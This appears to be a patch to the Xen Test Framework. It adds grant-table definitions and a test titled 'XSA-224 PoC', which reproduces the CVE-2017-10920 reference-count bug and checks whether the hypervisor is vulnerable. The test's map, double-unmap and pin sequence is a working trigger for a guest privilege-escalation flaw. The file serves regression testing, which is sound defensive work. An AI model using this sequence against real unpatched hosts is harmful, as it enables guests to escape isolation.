return pfn_to_mfn(virt_to_pfn(va));
}
+static inline uint64_t virt_to_maddr(const void *va)
+{
+ return ((uint64_t)virt_to_mfn(va) << PAGE_SHIFT) + (_u(va) & ~PAGE_MASK);
+}
+
#undef m2p
#else /* CONFIG_PV */
extern void *maddr_to_virt(uint64_t maddr);
extern unsigned long pfn_to_mfn(unsigned long pfn);
extern unsigned long virt_to_mfn(const void *va);
+extern uint64_t virt_to_maddr(const void *va);
#endif /* CONFIG_PV */
@subpage test-xsa-221 - NULL pointer deref in event channel poll.
+@subpage test-xsa-224 - grant table operations mishandle reference counts.
+
@section index-utility Utilities
uint32_t __spacer[4]; /* Pad to a power of two */
} grant_entry_v2_t;
+/* Map the grant entry for access by I/O devices. */
+#define _GNTMAP_device_map 0
+#define GNTMAP_device_map (1 << _GNTMAP_device_map)
+/* Map the grant entry for access by host CPUs. */
+#define _GNTMAP_host_map 1
+#define GNTMAP_host_map (1 << _GNTMAP_host_map)
+/* Accesses to the granted frame will be restricted to read-only access. */
+#define _GNTMAP_readonly 2
+#define GNTMAP_readonly (1 << _GNTMAP_readonly)
+/*
+ * GNTMAP_host_map subflag:
+ * 0 => The host mapping is usable only by the guest OS.
+ * 1 => The host mapping is usable by guest OS + current application.
+ */
+#define _GNTMAP_application_map 3
+#define GNTMAP_application_map (1 << _GNTMAP_application_map)
+
+/*
+ * GNTMAP_contains_pte subflag:
+ * 0 => This map request contains a host virtual address.
+ * 1 => This map request contains the machine addess of the PTE to update.
+ */
+#define _GNTMAP_contains_pte 4
+#define GNTMAP_contains_pte (1 << _GNTMAP_contains_pte)
+
+#define _GNTMAP_can_fail 5
+#define GNTMAP_can_fail (1 << _GNTMAP_can_fail)
+
+/*
+ * Bits to be placed in guest kernel available PTE bits (architecture
+ * dependent; only supported when XENFEAT_gnttab_map_avail_bits is set).
+ */
+#define _GNTMAP_guest_avail0 16
+#define GNTMAP_guest_avail_mask ((uint32_t)~0 << _GNTMAP_guest_avail0)
+
+/*
+ * GNTTABOP_map_grant_ref: Map the grant entry (<dom>,<ref>) for access
+ * by devices and/or host CPUs. If successful, <handle> is a tracking number
+ * that must be presented later to destroy the mapping(s). On error, <status>
+ * is a negative status code.
+ * NOTES:
+ * 1. If GNTMAP_device_map is specified then <dev_bus_addr> is the address
+ * via which I/O devices may access the granted frame.
+ * 2. If GNTMAP_host_map is specified then a mapping will be added at
+ * either a host virtual address in the current address space, or at
+ * a PTE at the specified machine address. The type of mapping to
+ * perform is selected through the GNTMAP_contains_pte flag, and the
+ * address is specified in <host_addr>.
+ * 3. Mappings should only be destroyed via GNTTABOP_unmap_grant_ref. If a
+ * host mapping is destroyed by other means then it is *NOT* guaranteed
+ * to be accounted to the correct grant reference!
+ */
+#define GNTTABOP_map_grant_ref 0
+struct gnttab_map_grant_ref {
+ /* IN parameters. */
+ uint64_t host_addr;
+ uint32_t flags; /* GNTMAP_* */
+ grant_ref_t ref;
+ domid_t dom;
+ /* OUT parameters. */
+ int16_t status; /* => enum grant_status */
+ grant_handle_t handle;
+ uint64_t dev_bus_addr;
+};
+
+/*
+ * GNTTABOP_unmap_grant_ref: Destroy one or more grant-reference mappings
+ * tracked by <handle>. If <host_addr> or <dev_bus_addr> is zero, that
+ * field is ignored. If non-zero, they must refer to a device/host mapping
+ * that is tracked by <handle>
+ * NOTES:
+ * 1. The call may fail in an undefined manner if either mapping is not
+ * tracked by <handle>.
+ * 3. After executing a batch of unmaps, it is guaranteed that no stale
+ * mappings will remain in the device or host TLBs.
+ */
+#define GNTTABOP_unmap_grant_ref 1
+struct gnttab_unmap_grant_ref {
+ /* IN parameters. */
+ uint64_t host_addr;
+ uint64_t dev_bus_addr;
+ grant_handle_t handle;
+ /* OUT parameters. */
+ int16_t status; /* => enum grant_status */
+};
+
/*
* GNTTABOP_setup_table: Set up a grant table for <dom> comprising at least
* <nr_frames> pages. The frame addresses are written to the <frame_list>.
--- /dev/null
+include $(ROOT)/build/common.mk
+
+NAME := xsa-224
+CATEGORY := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
--- /dev/null
+/**
+ * @file tests/xsa-224/main.c
+ * @ref test-xsa-224
+ *
+ * @page test-xsa-224 XSA-224
+ *
+ * Advisory: [XSA-224](http://xenbits.xen.org/xsa/advisory-224.html)
+ *
+ * XSA-224 has multiple CVEs assigned. This testcase exercises CVE-2017-10920
+ * specifically.
+ *
+ * When a grant is mapped with both host and device mappings as being
+ * writeable, and unmapped with two separate unmap hypercalls, one too many
+ * references are dropped. This causes Xen to loose track of one writeable
+ * mapping.
+ *
+ * @see tests/xsa-224/main.c
+ */
+#include <xtf.h>
+
+#include <arch/pagetable.h>
+
+const char test_title[] = "XSA-224 PoC";
+
+static uint8_t frame[PAGE_SIZE] __page_aligned_bss;
+
+void test_main(void)
+{
+ int rc = xtf_init_grant_table(1);
+
+ if ( rc )
+ return xtf_error("Error initialising grant table: %d\n", rc);
+
+ int domid = xtf_get_domid();
+
+ if ( domid < 0 )
+ return xtf_error("Error getting domid\n");
+
+ /*
+ * Construct gref 8 to allow frame[] to be mapped by outselves.
+ */
+ gnttab_v1[8].domid = domid;
+ gnttab_v1[8].frame = virt_to_gfn(frame);
+ smp_wmb();
+ gnttab_v1[8].flags = GTF_permit_access;
+
+ struct gnttab_map_grant_ref map = {
+ .host_addr = KB(4),
+ .flags = GNTMAP_host_map | GNTMAP_device_map,
+ .ref = 8,
+ .dom = domid,
+ .dev_bus_addr = KB(4),
+ };
+
+ /*
+ * Map frame[] to ourselves with both host and device mappings.
+ */
+ rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1);
+ if ( rc || map.status )
+ return xtf_error("Error: Unable to map grant[8]: %d/%d\n",
+ rc, map.status);
+
+ struct gnttab_unmap_grant_ref unmap = {
+ .host_addr = KB(4),
+ .handle = map.handle,
+ };
+
+ /*
+ * Unmap the host mapping of frame[] in isolation.
+ */
+ rc = hypercall_grant_table_op(GNTTABOP_unmap_grant_ref, &unmap, 1);
+ if ( rc || unmap.status )
+ return xtf_error("Error: Unable to host unmap grant[8]: %d/%d\n",
+ rc, unmap.status);
+
+ /*
+ * Unmap the device mapping of frame[] in isolation.
+ */
+ unmap.host_addr = 0;
+ unmap.dev_bus_addr = virt_to_maddr(frame);
+
+ rc = hypercall_grant_table_op(GNTTABOP_unmap_grant_ref, &unmap, 1);
+ if ( rc || unmap.status )
+ return xtf_error("Error: Unable to bus unmap grant[8]: %d/%d\n",
+ rc, unmap.status);
+
+ /*
+ * At this point, if Xen is vulnerable to XSA-224, it will have dropped
+ * one too many writeable refs from frame[]. Check, by trying to pin it
+ * as a pagetable.
+ */
+ mmuext_op_t op =
+ {
+ .cmd = MMUEXT_PIN_L1_TABLE,
+ .arg1.mfn = virt_to_mfn(frame),
+ };
+
+ rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
+
+ switch ( rc )
+ {
+ case 0:
+ return xtf_failure("Fail: Vulnerable to XSA-224\n");
+
+ case -EINVAL:
+ return xtf_success("Success: Not vulnerable to XSA-224\n");
+
+ default:
+ return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc);
+ }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */